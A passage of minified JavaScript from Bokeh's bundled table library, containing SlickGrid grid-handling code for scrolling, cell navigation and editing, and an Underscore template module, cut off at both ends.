e=$preHeaderPanelScroller[0].scrollLeft;e!=$viewport[0].scrollLeft&&($viewport[0].scrollLeft=e)}function handleScroll(){scrollTop=$viewport[0].scrollTop,scrollLeft=$viewport[0].scrollLeft;var e=Math.abs(scrollTop-prevScrollTop),t=Math.abs(scrollLeft-prevScrollLeft);if(t&&(prevScrollLeft=scrollLeft,$headerScroller[0].scrollLeft=scrollLeft,$topPanelScroller[0].scrollLeft=scrollLeft,$headerRowScroller[0].scrollLeft=scrollLeft,options.createFooterRow&&($footerRowScroller[0].scrollLeft=scrollLeft),options.createPreHeaderPanel&&($preHeaderPanelScroller[0].scrollLeft=scrollLeft)),e)if(vScrollDir=prevScrollTop<scrollTop?1:-1,prevScrollTop=scrollTop,e<viewportH)scrollTo(scrollTop+offset);else{var o=offset;page=h==viewportH?0:Math.min(n-1,Math.floor(scrollTop*((th-viewportH)/(h-viewportH))*(1/ph))),offset=Math.round(page*cj),o!=offset&&invalidateAllRows()}(t||e)&&(h_render&&clearTimeout(h_render),(20<Math.abs(lastRenderedScrollTop-scrollTop)||20<Math.abs(lastRenderedScrollLeft-scrollLeft))&&(options.forceSyncScrolling||Math.abs(lastRenderedScrollTop-scrollTop)<viewportH&&Math.abs(lastRenderedScrollLeft-scrollLeft)<viewportW?render():h_render=setTimeout(render,50),trigger(self.onViewportChanged,{grid:self}))),trigger(self.onScroll,{scrollLeft:scrollLeft,scrollTop:scrollTop,grid:self})}function asyncPostProcessRows(){for(var e=getDataLength();postProcessFromRow<=postProcessToRow;){var t=0<=vScrollDir?postProcessFromRow++:postProcessToRow--,n=rowsCache[t];if(n&&!(e<=t)){for(var o in postProcessedRows[t]||(postProcessedRows[t]={}),ensureCellNodesInRowsCache(t),n.cellNodesByColumnIdx)if(n.cellNodesByColumnIdx.hasOwnProperty(o)){var r=columns[o|=0],i=postProcessedRows[t][o];if(r.asyncPostRender&&\\\"R\\\"!==i){var l=n.cellNodesByColumnIdx[o];l&&r.asyncPostRender(l,t,getDataItem(t),r,\\\"C\\\"===i),postProcessedRows[t][o]=\\\"R\\\"}}return void(h_postrender=setTimeout(asyncPostProcessRows,options.asyncPostRenderDelay))}}}function asyncPostProcessCleanupRows(){if(0<postProcessedCleanupQueue.length){for(var e=postProcessedCleanupQueue[0].groupId;0<postProcessedCleanupQueue.length&&postProcessedCleanupQueue[0].groupId==e;){var t=postProcessedCleanupQueue.shift();if(\\\"R\\\"==t.actionType&&$(t.node).remove(),\\\"C\\\"==t.actionType){var n=columns[t.columnIdx];n.asyncPostRenderCleanup&&t.node&&n.asyncPostRenderCleanup(t.node,t.rowIdx,n)}}h_postrenderCleanup=setTimeout(asyncPostProcessCleanupRows,options.asyncPostRenderCleanupDelay)}}function updateCellCssStylesOnRenderedRows(e,t){var n,o,r,i;for(var l in rowsCache){if(i=t&&t[l],r=e&&e[l],i)for(o in i)r&&i[o]==r[o]||(n=getCellNode(l,getColumnIndex(o)))&&$(n).removeClass(i[o]);if(r)for(o in r)i&&i[o]==r[o]||(n=getCellNode(l,getColumnIndex(o)))&&$(n).addClass(r[o])}}function addCellCssStyles(e,t){if(cellCssClasses[e])throw new Error(\\\"addCellCssStyles: cell CSS hash with key '\\\"+e+\\\"' already exists.\\\");updateCellCssStylesOnRenderedRows(cellCssClasses[e]=t,null),trigger(self.onCellCssStylesChanged,{key:e,hash:t,grid:self})}function removeCellCssStyles(e){cellCssClasses[e]&&(updateCellCssStylesOnRenderedRows(null,cellCssClasses[e]),delete cellCssClasses[e],trigger(self.onCellCssStylesChanged,{key:e,hash:null,grid:self}))}function setCellCssStyles(e,t){var n=cellCssClasses[e];updateCellCssStylesOnRenderedRows(cellCssClasses[e]=t,n),trigger(self.onCellCssStylesChanged,{key:e,hash:t,grid:self})}function getCellCssStyles(e){return cellCssClasses[e]}function flashCell(e,t,n){if(n=n||100,rowsCache[e]){var o=$(getCellNode(e,t)),r=function(e){e&&setTimeout(function(){o.queue(function(){o.toggleClass(options.cellFlashingCssClass).dequeue(),r(e-1)})},n)};r(4)}}function handleMouseWheel(e){var t=$(e.target).closest(\\\".slick-row\\\")[0];t!=rowNodeFromLastMouseWheelEvent&&(zombieRowNodeFromLastMouseWheelEvent&&zombieRowNodeFromLastMouseWheelEvent!=t&&(options.enableAsyncPostRenderCleanup&&zombieRowPostProcessedFromLastMouseWheelEvent?queuePostProcessedRowForCleanup(zombieRowCacheFromLastMouseWheelEvent,zombieRowPostProcessedFromLastMouseWheelEvent):$canvas[0].removeChild(zombieRowNodeFromLastMouseWheelEvent),zombieRowPostProcessedFromLastMouseWheelEvent=zombieRowCacheFromLastMouseWheelEvent=zombieRowNodeFromLastMouseWheelEvent=null,options.enableAsyncPostRenderCleanup&&startPostProcessingCleanup()),rowNodeFromLastMouseWheelEvent=t)}function handleDragInit(e,t){var n=getCellFromEvent(e);if(!n||!cellExists(n.row,n.cell))return!1;var o=trigger(self.onDragInit,t,e);return!!e.isImmediatePropagationStopped()&&o}function handleDragStart(e,t){var n=getCellFromEvent(e);if(!n||!cellExists(n.row,n.cell))return!1;var o=trigger(self.onDragStart,t,e);return!!e.isImmediatePropagationStopped()&&o}function handleDrag(e,t){return trigger(self.onDrag,t,e)}function handleDragEnd(e,t){trigger(self.onDragEnd,t,e)}function handleKeyDown(e){trigger(self.onKeyDown,{row:activeRow,cell:activeCell,grid:self},e);var t=e.isImmediatePropagationStopped(),n=Slick.keyCode;if(!t)if(e.shiftKey||e.altKey||e.ctrlKey)e.which!=n.TAB||!e.shiftKey||e.ctrlKey||e.altKey||(t=navigatePrev());else{if(options.editable&&currentEditor&&currentEditor.keyCaptureList&&-1<currentEditor.keyCaptureList.indexOf(e.which))return;if(e.which==n.ESCAPE){if(!getEditorLock().isActive())return;cancelEditAndSetFocus()}else e.which==n.PAGE_DOWN?(navigatePageDown(),t=!0):e.which==n.PAGE_UP?(navigatePageUp(),t=!0):e.which==n.LEFT?t=navigateLeft():e.which==n.RIGHT?t=navigateRight():e.which==n.UP?t=navigateUp():e.which==n.DOWN?t=navigateDown():e.which==n.TAB?t=navigateNext():e.which==n.ENTER&&(options.editable&&(currentEditor?activeRow===getDataLength()?navigateDown():commitEditAndSetFocus():getEditorLock().commitCurrentEdit()&&makeActiveCellEditable()),t=!0)}if(t){e.stopPropagation(),e.preventDefault();try{e.originalEvent.keyCode=0}catch(e){}}}function handleClick(e){currentEditor||(e.target!=document.activeElement||$(e.target).hasClass(\\\"slick-cell\\\"))&&setFocus();var t=getCellFromEvent(e);if(t&&(null===currentEditor||activeRow!=t.row||activeCell!=t.cell)&&(trigger(self.onClick,{row:t.row,cell:t.cell,grid:self},e),!e.isImmediatePropagationStopped()&&canCellBeActive(t.row,t.cell)&&(!getEditorLock().isActive()||getEditorLock().commitCurrentEdit()))){scrollRowIntoView(t.row,!1);var n=e.target&&e.target.className===Slick.preClickClassName;setActiveCellInternal(getCellNode(t.row,t.cell),null,n)}}function handleContextMenu(e){var t=$(e.target).closest(\\\".slick-cell\\\",$canvas);0!==t.length&&(activeCellNode===t[0]&&null!==currentEditor||trigger(self.onContextMenu,{grid:self},e))}function handleDblClick(e){var t=getCellFromEvent(e);!t||null!==currentEditor&&activeRow==t.row&&activeCell==t.cell||(trigger(self.onDblClick,{row:t.row,cell:t.cell,grid:self},e),e.isImmediatePropagationStopped()||options.editable&&gotoCell(t.row,t.cell,!0))}function handleHeaderMouseEnter(e){trigger(self.onHeaderMouseEnter,{column:$(this).data(\\\"column\\\"),grid:self},e)}function handleHeaderMouseLeave(e){trigger(self.onHeaderMouseLeave,{column:$(this).data(\\\"column\\\"),grid:self},e)}function handleHeaderContextMenu(e){var t=$(e.target).closest(\\\".slick-header-column\\\",\\\".slick-header-columns\\\"),n=t&&t.data(\\\"column\\\");trigger(self.onHeaderContextMenu,{column:n,grid:self},e)}function handleHeaderClick(e){var t=$(e.target).closest(\\\".slick-header-column\\\",\\\".slick-header-columns\\\"),n=t&&t.data(\\\"column\\\");n&&trigger(self.onHeaderClick,{column:n,grid:self},e)}function handleMouseEnter(e){trigger(self.onMouseEnter,{grid:self},e)}function handleMouseLeave(e){trigger(self.onMouseLeave,{grid:self},e)}function cellExists(e,t){return!(e<0||e>=getDataLength()||t<0||t>=columns.length)}function getCellFromPoint(e,t){for(var n=getRowFromPosition(t),o=0,r=0,i=0;i<columns.length&&r<e;i++)r+=columns[i].width,o++;return o<0&&(o=0),{row:n,cell:o-1}}function getCellFromNode(e){var t=/l\\\\d+/.exec(e.className);if(!t)throw new Error(\\\"getCellFromNode: cannot get cell - \\\"+e.className);return parseInt(t[0].substr(1,t[0].length-1),10)}function getRowFromNode(e){for(var t in rowsCache)if(rowsCache[t].rowNode===e)return 0|t;return null}function getCellFromEvent(e){var t=$(e.target).closest(\\\".slick-cell\\\",$canvas);if(!t.length)return null;var n=getRowFromNode(t[0].parentNode),o=getCellFromNode(t[0]);return null==n||null==o?null:{row:n,cell:o}}function getCellNodeBox(e,t){if(!cellExists(e,t))return null;for(var n=getRowTop(e),o=n+options.rowHeight-1,r=0,i=0;i<t;i++)r+=columns[i].width;var l=r+columns[t].width;return{top:n,left:r,bottom:o,right:l}}function resetActiveCell(){setActiveCellInternal(null,!1)}function setFocus(){-1==tabbingDirection?$focusSink[0].focus():$focusSink2[0].focus()}function scrollCellIntoView(e,t,n){scrollRowIntoView(e,n);var o=getColspan(e,t);internalScrollColumnIntoView(columnPosLeft[t],columnPosRight[t+(1<o?o-1:0)])}function internalScrollColumnIntoView(e,t){var n=scrollLeft+viewportW;e<scrollLeft?($viewport.scrollLeft(e),handleScroll(),render()):n<t&&($viewport.scrollLeft(Math.min(e,t-$viewport[0].clientWidth)),handleScroll(),render())}function scrollColumnIntoView(e){internalScrollColumnIntoView(columnPosLeft[e],columnPosRight[e])}function setActiveCellInternal(e,t,n,o){null!==activeCellNode&&(makeActiveCellNormal(),$(activeCellNode).removeClass(\\\"active\\\"),rowsCache[activeRow]&&$(rowsCache[activeRow].rowNode).removeClass(\\\"active\\\"));null!=(activeCellNode=e)?(activeRow=getRowFromNode(activeCellNode.parentNode),activeCell=activePosX=getCellFromNode(activeCellNode),null==t&&(t=activeRow==getDataLength()||options.autoEdit),options.showCellSelection&&($(activeCellNode).addClass(\\\"active\\\"),$(rowsCache[activeRow].rowNode).addClass(\\\"active\\\")),options.editable&&t&&isCellPotentiallyEditable(activeRow,activeCell)&&(clearTimeout(h_editorLoader),options.asyncEditorLoading?h_editorLoader=setTimeout(function(){makeActiveCellEditable(void 0,n)},options.asyncEditorLoadDelay):makeActiveCellEditable(void 0,n))):activeRow=activeCell=null,o||trigger(self.onActiveCellChanged,getActiveCell())}function clearTextSelection(){if(document.selection&&document.selection.empty)try{document.selection.empty()}catch(e){}else if(window.getSelection){var e=window.getSelection();e&&e.removeAllRanges&&e.removeAllRanges()}}function isCellPotentiallyEditable(e,t){var n=getDataLength();return!(e<n&&!getDataItem(e))&&(!(columns[t].cannotTriggerInsert&&n<=e)&&!!getEditor(e,t))}function makeActiveCellNormal(){if(currentEditor){if(trigger(self.onBeforeCellEditorDestroy,{editor:currentEditor,grid:self}),currentEditor.destroy(),currentEditor=null,activeCellNode){var e=getDataItem(activeRow);if($(activeCellNode).removeClass(\\\"editable invalid\\\"),e){var t=columns[activeCell],n=getFormatter(activeRow,t),o=n(activeRow,activeCell,getDataItemValueForColumn(e,t),t,e,self);applyFormatResultToCellNode(o,activeCellNode),invalidatePostProcessingResults(activeRow)}}navigator.userAgent.toLowerCase().match(/msie/)&&clearTextSelection(),getEditorLock().deactivate(editController)}}function makeActiveCellEditable(e,t){if(activeCellNode){if(!options.editable)throw new Error(\\\"Grid : makeActiveCellEditable : should never get called when options.editable is false\\\");if(clearTimeout(h_editorLoader),isCellPotentiallyEditable(activeRow,activeCell)){var n=columns[activeCell],o=getDataItem(activeRow);if(!1!==trigger(self.onBeforeEditCell,{row:activeRow,cell:activeCell,item:o,column:n,grid:self})){getEditorLock().activate(editController),$(activeCellNode).addClass(\\\"editable\\\");var r=e||getEditor(activeRow,activeCell);e||r.suppressClearOnEdit||(activeCellNode.innerHTML=\\\"\\\"),currentEditor=new r({grid:self,gridPosition:absBox($container[0]),position:absBox(activeCellNode),container:activeCellNode,column:n,item:o||{},commitChanges:commitEditAndSetFocus,cancelChanges:cancelEditAndSetFocus}),o&&(currentEditor.loadValue(o),t&&currentEditor.preClick&&currentEditor.preClick()),serializedEditorValue=currentEditor.serializeValue(),currentEditor.position&&handleActiveCellPositionChange()}else setFocus()}}}function commitEditAndSetFocus(){getEditorLock().commitCurrentEdit()&&(setFocus(),options.autoEdit&&navigateDown())}function cancelEditAndSetFocus(){getEditorLock().cancelCurrentEdit()&&setFocus()}function absBox(e){var t={top:e.offsetTop,left:e.offsetLeft,bottom:0,right:0,width:$(e).outerWidth(),height:$(e).outerHeight(),visible:!0};t.bottom=t.top+t.height,t.right=t.left+t.width;for(var n=e.offsetParent;(e=e.parentNode)!=document.body&&null!=e;)t.visible&&e.scrollHeight!=e.offsetHeight&&\\\"visible\\\"!=$(e).css(\\\"overflowY\\\")&&(t.visible=t.bottom>e.scrollTop&&t.top<e.scrollTop+e.clientHeight),t.visible&&e.scrollWidth!=e.offsetWidth&&\\\"visible\\\"!=$(e).css(\\\"overflowX\\\")&&(t.visible=t.right>e.scrollLeft&&t.left<e.scrollLeft+e.clientWidth),t.left-=e.scrollLeft,t.top-=e.scrollTop,e===n&&(t.left+=e.offsetLeft,t.top+=e.offsetTop,n=e.offsetParent),t.bottom=t.top+t.height,t.right=t.left+t.width;return t}function getActiveCellPosition(){return absBox(activeCellNode)}function getGridPosition(){return absBox($container[0])}function handleActiveCellPositionChange(){if(activeCellNode&&(trigger(self.onActiveCellPositionChanged,{grid:self}),currentEditor)){var e=getActiveCellPosition();currentEditor.show&&currentEditor.hide&&(e.visible?currentEditor.show():currentEditor.hide()),currentEditor.position&&currentEditor.position(e)}}function getCellEditor(){return currentEditor}function getActiveCell(){return activeCellNode?{row:activeRow,cell:activeCell,grid:self}:null}function getActiveCellNode(){return activeCellNode}function scrollRowIntoView(e,t){var n=e*options.rowHeight,o=(e+1)*options.rowHeight-viewportH+(viewportHasHScroll?scrollbarDimensions.height:0);(e+1)*options.rowHeight>scrollTop+viewportH+offset?(scrollTo(t?n:o),render()):e*options.rowHeight<scrollTop+offset&&(scrollTo(t?o:n),render())}function scrollRowToTop(e){scrollTo(e*options.rowHeight),render()}function scrollPage(e){var t=e*numVisibleRows;if(scrollTo((getRowFromPosition(scrollTop)+t)*options.rowHeight),render(),options.enableCellNavigation&&null!=activeRow){var n=activeRow+t,o=getDataLengthIncludingAddNew();o<=n&&(n=o-1),n<0&&(n=0);for(var r=0,i=null,l=activePosX;r<=activePosX;)canCellBeActive(n,r)&&(i=r),r+=getColspan(n,r);null!==i?(setActiveCellInternal(getCellNode(n,i)),activePosX=l):resetActiveCell()}}function navigatePageDown(){scrollPage(1)}function navigatePageUp(){scrollPage(-1)}function getColspan(e,t){var n=data.getItemMetadata&&data.getItemMetadata(e);if(!n||!n.columns)return 1;var o=n.columns[columns[t].id]||n.columns[t],r=o&&o.colspan;return r=\\\"*\\\"===r?columns.length-t:r||1}function findFirstFocusableCell(e){for(var t=0;t<columns.length;){if(canCellBeActive(e,t))return t;t+=getColspan(e,t)}return null}function findLastFocusableCell(e){for(var t=0,n=null;t<columns.length;)canCellBeActive(e,t)&&(n=t),t+=getColspan(e,t);return n}function gotoRight(e,t,n){if(t>=columns.length)return null;for(;(t+=getColspan(e,t))<columns.length&&!canCellBeActive(e,t););return t<columns.length?{row:e,cell:t,posX:t}:null}function gotoLeft(e,t,n){if(t<=0)return null;var o=findFirstFocusableCell(e);if(null===o||t<=o)return null;for(var r,i={row:e,cell:o,posX:o};;){if(!(r=gotoRight(i.row,i.cell,i.posX)))return null;if(r.cell>=t)return i;i=r}}function gotoDown(e,t,n){for(var o,r=getDataLengthIncludingAddNew();;){if(++e>=r)return null;for(o=t=0;t<=n;)t+=getColspan(e,o=t);if(canCellBeActive(e,o))return{row:e,cell:o,posX:n}}}function gotoUp(e,t,n){for(var o;;){if(--e<0)return null;for(o=t=0;t<=n;)t+=getColspan(e,o=t);if(canCellBeActive(e,o))return{row:e,cell:o,posX:n}}}function gotoNext(e,t,n){if(null==e&&null==t&&canCellBeActive(e=t=n=0,t))return{row:e,cell:t,posX:t};var o=gotoRight(e,t,n);if(o)return o;var r=null,i=getDataLengthIncludingAddNew();for(e===i-1&&e--;++e<i;)if(null!==(r=findFirstFocusableCell(e)))return{row:e,cell:r,posX:r};return null}function gotoPrev(e,t,n){if(null==e&&null==t&&(e=getDataLengthIncludingAddNew()-1,t=n=columns.length-1,canCellBeActive(e,t)))return{row:e,cell:t,posX:t};for(var o,r;!o&&!(o=gotoLeft(e,t,n));){if(--e<0)return null;t=0,null!==(r=findLastFocusableCell(e))&&(o={row:e,cell:r,posX:r})}return o}function navigateRight(){return navigate(\\\"right\\\")}function navigateLeft(){return navigate(\\\"left\\\")}function navigateDown(){return navigate(\\\"down\\\")}function navigateUp(){return navigate(\\\"up\\\")}function navigateNext(){return navigate(\\\"next\\\")}function navigatePrev(){return navigate(\\\"prev\\\")}function navigate(e){if(!options.enableCellNavigation)return!1;if(!activeCellNode&&\\\"prev\\\"!=e&&\\\"next\\\"!=e)return!1;if(!getEditorLock().commitCurrentEdit())return!0;setFocus();tabbingDirection={up:-1,down:1,left:-1,right:1,prev:-1,next:1}[e];var t={up:gotoUp,down:gotoDown,left:gotoLeft,right:gotoRight,prev:gotoPrev,next:gotoNext},n=t[e],o=n(activeRow,activeCell,activePosX);if(o){var r=o.row==getDataLength();return scrollCellIntoView(o.row,o.cell,!r),setActiveCellInternal(getCellNode(o.row,o.cell)),activePosX=o.posX,!0}return setActiveCellInternal(getCellNode(activeRow,activeCell)),!1}function getCellNode(e,t){return rowsCache[e]?(ensureCellNodesInRowsCache(e),rowsCache[e].cellNodesByColumnIdx[t]):null}function setActiveCell(e,t,n,o,r){initialized&&(e>getDataLength()||e<0||t>=columns.length||t<0||options.enableCellNavigation&&(scrollCellIntoView(e,t,!1),setActiveCellInternal(getCellNode(e,t),n,o,r)))}function canCellBeActive(e,t){if(!options.enableCellNavigation||e>=getDataLengthIncludingAddNew()||e<0||t>=columns.length||t<0)return!1;var n=data.getItemMetadata&&data.getItemMetadata(e);if(n&&\\\"boolean\\\"==typeof n.focusable)return n.focusable;var o=n&&n.columns;return o&&o[columns[t].id]&&\\\"boolean\\\"==typeof o[columns[t].id].focusable?o[columns[t].id].focusable:o&&o[t]&&\\\"boolean\\\"==typeof o[t].focusable?o[t].focusable:columns[t].focusable}function canCellBeSelected(e,t){if(e>=getDataLength()||e<0||t>=columns.length||t<0)return!1;var n=data.getItemMetadata&&data.getItemMetadata(e);if(n&&\\\"boolean\\\"==typeof n.selectable)return n.selectable;var o=n&&n.columns&&(n.columns[columns[t].id]||n.columns[t]);return o&&\\\"boolean\\\"==typeof o.selectable?o.selectable:columns[t].selectable}function gotoCell(e,t,n){if(initialized&&canCellBeActive(e,t)&&getEditorLock().commitCurrentEdit()){scrollCellIntoView(e,t,!1);var o=getCellNode(e,t);setActiveCellInternal(o,n||e===getDataLength()||options.autoEdit),currentEditor||setFocus()}}function commitCurrentEdit(){var e=getDataItem(activeRow),t=columns[activeCell];if(currentEditor){if(currentEditor.isValueChanged()){var n=currentEditor.validate();if(n.valid){if(activeRow<getDataLength()){var o={row:activeRow,cell:activeCell,editor:currentEditor,serializedValue:currentEditor.serializeValue(),prevSerializedValue:serializedEditorValue,execute:function(){this.editor.applyValue(e,this.serializedValue),updateRow(this.row),trigger(self.onCellChange,{row:activeRow,cell:activeCell,item:e,grid:self})},undo:function(){this.editor.applyValue(e,this.prevSerializedValue),updateRow(this.row),trigger(self.onCellChange,{row:activeRow,cell:activeCell,item:e,grid:self})}};options.editCommandHandler?(makeActiveCellNormal(),options.editCommandHandler(e,t,o)):(o.execute(),makeActiveCellNormal())}else{var r={};currentEditor.applyValue(r,currentEditor.serializeValue()),makeActiveCellNormal(),trigger(self.onAddNewRow,{item:r,column:t,grid:self})}return!getEditorLock().isActive()}return $(activeCellNode).removeClass(\\\"invalid\\\"),$(activeCellNode).width(),$(activeCellNode).addClass(\\\"invalid\\\"),trigger(self.onValidationError,{editor:currentEditor,cellNode:activeCellNode,validationResults:n,row:activeRow,cell:activeCell,column:t,grid:self}),currentEditor.focus(),!1}makeActiveCellNormal()}return!0}function cancelCurrentEdit(){return makeActiveCellNormal(),!0}function rowsToRanges(e){for(var t=[],n=columns.length-1,o=0;o<e.length;o++)t.push(new Slick.Range(e[o],0,e[o],n));return t}function getSelectedRows(){if(!selectionModel)throw new Error(\\\"Selection model is not set\\\");return selectedRows}function setSelectedRows(e){if(!selectionModel)throw new Error(\\\"Selection model is not set\\\");selectionModel.setSelectedRanges(rowsToRanges(e))}this.debug=function(){var e=\\\"\\\";e+=\\\"\\\\ncounter_rows_rendered:  \\\"+counter_rows_rendered,e+=\\\"\\\\ncounter_rows_removed:  \\\"+counter_rows_removed,e+=\\\"\\\\nrenderedRows:  \\\"+renderedRows,e+=\\\"\\\\nnumVisibleRows:  \\\"+numVisibleRows,e+=\\\"\\\\nmaxSupportedCssHeight:  \\\"+maxSupportedCssHeight,e+=\\\"\\\\nn(umber of pages):  \\\"+n,e+=\\\"\\\\n(current) page:  \\\"+page,e+=\\\"\\\\npage height (ph):  \\\"+ph,e+=\\\"\\\\nvScrollDir:  \\\"+vScrollDir,alert(e)},this.eval=function(expr){return eval(expr)},$.extend(this,{slickGridVersion:\\\"2.3.4\\\",onScroll:new Slick.Event,onSort:new Slick.Event,onHeaderMouseEnter:new Slick.Event,onHeaderMouseLeave:new Slick.Event,onHeaderContextMenu:new Slick.Event,onHeaderClick:new Slick.Event,onHeaderCellRendered:new Slick.Event,onBeforeHeaderCellDestroy:new Slick.Event,onHeaderRowCellRendered:new Slick.Event,onFooterRowCellRendered:new Slick.Event,onBeforeHeaderRowCellDestroy:new Slick.Event,onBeforeFooterRowCellDestroy:new Slick.Event,onMouseEnter:new Slick.Event,onMouseLeave:new Slick.Event,onClick:new Slick.Event,onDblClick:new Slick.Event,onContextMenu:new Slick.Event,onKeyDown:new Slick.Event,onAddNewRow:new Slick.Event,onBeforeAppendCell:new Slick.Event,onValidationError:new Slick.Event,onViewportChanged:new Slick.Event,onColumnsReordered:new Slick.Event,onColumnsResized:new Slick.Event,onCellChange:new Slick.Event,onBeforeEditCell:new Slick.Event,onBeforeCellEditorDestroy:new Slick.Event,onBeforeDestroy:new Slick.Event,onActiveCellChanged:new Slick.Event,onActiveCellPositionChanged:new Slick.Event,onDragInit:new Slick.Event,onDragStart:new Slick.Event,onDrag:new Slick.Event,onDragEnd:new Slick.Event,onSelectedRowsChanged:new Slick.Event,onCellCssStylesChanged:new Slick.Event,registerPlugin:registerPlugin,unregisterPlugin:unregisterPlugin,getColumns:getColumns,setColumns:setColumns,getColumnIndex:getColumnIndex,updateColumnHeader:updateColumnHeader,setSortColumn:setSortColumn,setSortColumns:setSortColumns,getSortColumns:getSortColumns,autosizeColumns:autosizeColumns,getOptions:getOptions,setOptions:setOptions,getData:getData,getDataLength:getDataLength,getDataItem:getDataItem,setData:setData,getSelectionModel:getSelectionModel,setSelectionModel:setSelectionModel,getSelectedRows:getSelectedRows,setSelectedRows:setSelectedRows,getContainerNode:getContainerNode,updatePagingStatusFromView:updatePagingStatusFromView,render:render,invalidate:invalidate,invalidateRow:invalidateRow,invalidateRows:invalidateRows,invalidateAllRows:invalidateAllRows,updateCell:updateCell,updateRow:updateRow,getViewport:getVisibleRange,getRenderedRange:getRenderedRange,resizeCanvas:resizeCanvas,updateRowCount:updateRowCount,scrollRowIntoView:scrollRowIntoView,scrollRowToTop:scrollRowToTop,scrollCellIntoView:scrollCellIntoView,scrollColumnIntoView:scrollColumnIntoView,getCanvasNode:getCanvasNode,getUID:getUID,getHeaderColumnWidthDiff:getHeaderColumnWidthDiff,getScrollbarDimensions:getScrollbarDimensions,getHeadersWidth:getHeadersWidth,getCanvasWidth:getCanvasWidth,focus:setFocus,getCellFromPoint:getCellFromPoint,getCellFromEvent:getCellFromEvent,getActiveCell:getActiveCell,setActiveCell:setActiveCell,getActiveCellNode:getActiveCellNode,getActiveCellPosition:getActiveCellPosition,resetActiveCell:resetActiveCell,editActiveCell:makeActiveCellEditable,getCellEditor:getCellEditor,getCellNode:getCellNode,getCellNodeBox:getCellNodeBox,canCellBeSelected:canCellBeSelected,canCellBeActive:canCellBeActive,navigatePrev:navigatePrev,navigateNext:navigateNext,navigateUp:navigateUp,navigateDown:navigateDown,navigateLeft:navigateLeft,navigateRight:navigateRight,navigatePageUp:navigatePageUp,navigatePageDown:navigatePageDown,gotoCell:gotoCell,getTopPanel:getTopPanel,setTopPanelVisibility:setTopPanelVisibility,getPreHeaderPanel:getPreHeaderPanel,setPreHeaderPanelVisibility:setPreHeaderPanelVisibility,setHeaderRowVisibility:setHeaderRowVisibility,getHeaderRow:getHeaderRow,getHeaderRowColumn:getHeaderRowColumn,setFooterRowVisibility:setFooterRowVisibility,getFooterRow:getFooterRow,getFooterRowColumn:getFooterRowColumn,getGridPosition:getGridPosition,flashCell:flashCell,addCellCssStyles:addCellCssStyles,setCellCssStyles:setCellCssStyles,removeCellCssStyles:removeCellCssStyles,getCellCssStyles:getCellCssStyles,init:finishInitialization,destroy:destroy,getEditorLock:getEditorLock,getEditController:getEditController}),init()}module.exports={Grid:SlickGrid}},448:function(e,t,n){t.exports=\\\"undefined\\\"!=typeof $?$:e(441)},449:function(e,t,n){var o=e(450),r=o.template;function i(e,t,n){return r(e,t,n)}i._=o,t.exports=i,\\\"function\\\"==typeof define&&define.amd?define(function(){return i}):\\\"undefined\\\"==typeof window&&\\\"undefined\\\"==typeof navigator||(window.UnderscoreTemplate=i)},450:function(e,t,n){\\n      //     (c) 2009-2013 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors\\n      //     Underscore may be freely distributed under the MIT license.\\n      var l={},o=Array.prototype,r=Object.prototype,i=o.slice,s=r.toString,a=r.hasOwnProperty,c=o.forEach,u=Object.keys,d=Array.isArray,p=function(){},f=p.each=p.forEach=function(e,t,n){if(null!=e)if(c&&e.forEach===c)e.forEach(t,n);else if(e.length===+e.length){for(var o=0,r=e.length;o<r;o++)if(t.call(n,e[o],o,e)===l)return}else for(var i=p.keys(e),o=0,r=i.length;o<r;o++)if(t.call(n,e[i[o]],i[o],e)===l)return};p.keys=u||function(e){if(e!==Object(e))throw new TypeError(\\\"Invalid object\\\");var t=[];for(var n in e)p.has(e,n)&&t.push(n);return t},p.defaults=function(n){return f(i.call(arguments,1),function(e){if(e)for(var t in e)void 0===n[t]&&(n[t]=e[t])}),n},p.isArray=d||function(e){return\\\"[object Array]\\\"===s.call(e)},p.has=function(e,t){if(!p.isArray(t))return null!=e&&a.call(e,t);for(var n=t.length,o=0;o<n;o++){var r=t[o];if(null==e||!a.call(e,r))return!1;e=e[r]}return!!n};var h={escape:{\\\"&\\\":\\\"&amp;\\\",\\\"<\\\":\\\"&lt;\\\",\\\">\\\":\\\"&gt;\\\",'\\\"':\\\"&quot;\\\",\\\"'\\\":\\\"&#x27;\\\"}},g={escape:new RegExp(\\\"[\\\"+p.keys(h.escape).join(\\\"\\\")+\\\"]\\\",\\\"g\\\")};p.each([\\\"escape\\\"],function(t){p[t]=function(e){return null==e?\\\"\\\":(\\\"\\\"+e).replace(g[t],function(e){return h[t][e]})}}),p.templateSettings={evaluate:/<%([\\\\s\\\\S]+?)%>/g,interpolate:/<%=([\\\\s\\\\S]+?)%>/g,escape:/<%-([\\\\s\\\\S]+?)%>/g};var m=/(.)^/,v={\\\"'\\\":\\\"'\\\",\\\"\\\\\\\\\\\":\\\"\\\\\\\\\\\",\\\"\\\\r\\\":\\\"r\\\",\\\"\\\\n\\\":\\\"n\\\",\\\"\\\\t\\\":\\\"t\\\",\\\"\\\\u2028\\\":\\\"u2028\\\",\\\"\\\\u2029\\\":\\\"u2029\\\"},w=/\\\\\\\\|'|\\\\r|\\\\n|\\\\t|\\\\u2028|\\\\u2029/g;p.template=function(i,e,t){var n;t=p.defaults({},t,p.templateSettings);var o=new RegExp([(t.escape||m).source,(t.interpolate||m).source,(t.evaluate||m).source].join(\\\"|\\\")+\\\"|$\\\",\\\"g\\\"),l=0,s=\\\"__p+='\\\";i.replace(o,function(e,t,n,o,r){return s+=i.slice(l,r).replace(w,function(e){return\\\"\\\\\\\\\\\"+v[e]}),t&&(s+=\\\"'+\\\\n((__t=(\\\"+t+\\\"))==null?'':_.escape(__t))+\\\\n'\\\"),n&&(s+=\\\"'+\\\\n((__t=(\\\"+n+\\\"))==null?'':__t)+\\\\n'\\\"),o&&(s+=\\\"';\\\\n\\\"+o+\\\"\\\\n__p+='\\\"),l=r+e.length,e}),s+=\\\"';\\\\n\\\",t.variable||(s=\\\"with(obj||{}){\\\\n\\\"+s+\\\"}\\\\n\\\"),s=\\\"var __t,__p='',__j=Array.prototype.join,print=function(){__p+=__j.call(arguments,'');};\\\\n\\\"+s+\\\"return __p;\\\\n\\\";try{n=new Function(t.variable||\\\"obj\\\",\\\"_\\\",s)}catch(e){throw e.source=s,e}if(e)return n(e,p);var r=function(e){return n.call(this,e,p)};return r.source=\\\"function(\\\"+(t.variable||\\\"obj\\\")+\\\"){\\\\n\\\"+s+\\\"}\\\",r},t.exports=p}},0,0)}(a.Bokeh)}(this);\\n      //# sourceMappingURL=bokeh-tables.min.js.map\\n      /* END bokeh-tables.min.js */\\n    },\\n    \\n    function(Bokeh) {\\n      /* BEGIN bokeh-gl.min.js */\\n      /*!\\n       * 